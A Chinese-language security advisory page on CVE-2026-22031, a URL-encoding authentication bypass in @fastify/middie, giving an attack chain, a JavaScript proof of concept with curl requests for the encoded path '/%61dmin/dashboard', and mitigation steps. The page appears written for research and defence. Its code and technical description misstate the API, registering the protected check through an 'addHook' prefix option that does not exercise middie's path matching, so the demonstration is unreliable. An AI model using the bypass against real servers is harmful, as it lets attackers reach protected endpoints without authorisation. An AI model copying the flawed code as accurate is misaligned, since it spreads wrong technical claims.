IPBUF安全漏洞报告
English
CVE-2026-22031 CVSS 8.4 高危

CVE-2026-22031: @fastify/middie URL编码路径中间件绕过漏洞

披露日期: 2026-01-19

漏洞信息

漏洞编号
CVE-2026-22031
漏洞类型
中间件绕过
CVSS评分
8.4 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
@fastify/middie

相关标签

中间件绕过URL编码绕过路径遍历Fastify@fastify/middieCVE-2026-22031高危漏洞认证绕过

漏洞概述

CVE-2026-22031是@fastify/middie插件中的一个高危安全漏洞,CVSS评分8.4。该插件是为Fastify框架添加中间件支持的重要组件。在9.1.0之前的版本中,攻击者可以通过使用URL编码字符绕过中间件路径检查。例如,使用`/%61dmin`代替`/admin`可以让中间件引擎无法匹配编码后的路径,从而跳过中间件执行,但底层Fastify路由器会正确解码路径并匹配对应的路由处理器。这导致攻击者可以在没有中间件约束(如身份验证、授权检查)的情况下访问受保护的端点,绕过安全限制获取敏感数据或执行未授权操作。该漏洞影响所有使用@fastify/middie且依赖路径前缀注册中间件的Fastify应用。

技术细节

该漏洞源于@fastify/middie中间件引擎与Fastify路由器在路径处理上的不一致性。当开发者使用特定路径前缀注册中间件时(如`fastify.addHook('onRequest', handler, { prefix: '/admin' })`),中间件引擎会对请求路径进行精确匹配。然而,攻击者可以利用URL编码技术发送请求,如将`/admin`编码为`/%61dmin`(其中`%61`是字符'a'的URL编码)。此时中间件引擎因无法识别编码路径而跳过执行,但Fastify的底层路由器会先对路径进行解码,然后匹配对应的路由处理器。这种解码时机差异创造了安全绕过条件。攻击者可通过Burp Suite等工具轻易构造编码请求,绕过身份验证、访问控制等中间件保护,直接访问受保护资源。修复版本9.1.0通过统一路径处理逻辑解决了这一不一致性问题。

攻击链分析

STEP 1
步骤1
攻击者识别目标应用使用@fastify/middie中间件插件,并发现存在受路径前缀保护的敏感端点(如/admin/*)
STEP 2
步骤2
攻击者构造恶意请求,将目标路径中的关键字符进行URL编码(如/admin/dashboard -> /%61dmin/dashboard)
STEP 3
步骤3
中间件引擎接收到编码路径/%61dmin/dashboard,无法匹配前缀/admin,跳过中间件执行流程
STEP 4
步骤4
Fastify底层路由器对路径进行URL解码得到/admin/dashboard,成功匹配路由处理器并执行业务逻辑
STEP 5
步骤5
攻击者绕过身份验证、访问控制等中间件安全限制,未授权访问敏感数据或执行特权操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2026-22031 PoC - URL Encoded Middleware Bypass // Target: @fastify/middie < 9.1.0 const fastify = require('fastify')({ logger: false }); const middie = require('@fastify/middie'); async function setupVulnerableServer() { await fastify.register(middie); // Register middleware with path prefix for admin routes fastify.addHook('onRequest', async (request, reply) => { console.log('[Middleware] Checking auth for:', request.url); // Authentication check - should block unauthorized access const authHeader = request.headers.authorization; if (!authHeader || authHeader !== 'Bearer admin-token') { reply.code(401).send({ error: 'Unauthorized' }); return reply; } }, { prefix: '/admin' }); // Protected admin endpoint fastify.get('/admin/dashboard', async (request, reply) => { return { message: 'Admin Dashboard - Confidential Data' }; }); await fastify.listen({ port: 3000 }); console.log('Vulnerable server running on port 3000'); } // Attack scenario using URL encoded path async function exploit() { const http = require('http'); // Normal request - should be blocked by middleware const normalOptions = { hostname: 'localhost', port: 3000, path: '/admin/dashboard', method: 'GET' }; // Bypassed request using URL encoding (%61 = 'a') // /admin -> /%61dmin, middleware won't match but Fastify router will const bypassOptions = { hostname: 'localhost', port: 3000, path: '/%61dmin/dashboard', // URL encoded path method: 'GET' }; console.log('\n[+] Normal Request (should be blocked):'); http.request(normalOptions, (res) => { let data = ''; res.on('data', chunk => data += chunk); res.on('end', () => console.log('Status:', res.statusCode, 'Response:', data)); }).end(); // Wait a bit for server to start setTimeout(() => { console.log('\n[+] Bypassed Request (URL encoded path):'); http.request(bypassOptions, (res) => { let data = ''; res.on('data', chunk => data += chunk); res.on('end', () => console.log('Status:', res.statusCode, 'Response:', data)); }).end(); }, 1000); } // Run PoC setupVulnerableServer().then(() => exploit()).catch(console.error); // curl PoC: // # Normal request (blocked): // curl http://localhost:3000/admin/dashboard // // # Bypassed request (unauthorized access): // curl http://localhost:3000/%61dmin/dashboard

影响范围

@fastify/middie < 9.1.0

防御指南

临时缓解措施
立即将@fastify/middie升级到9.1.0版本以修复该漏洞。临时缓解措施包括:1) 在应用层添加统一的路径解码逻辑,在请求进入时对所有路径进行解码后再进行路由和中间件匹配;2) 部署WAF规则检测包含URL编码字符的可疑请求;3) 对敏感端点实施额外的应用层访问控制验证,不依赖单一的中间件路径前缀保护;4) 使用严格的输入验证白名单机制。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表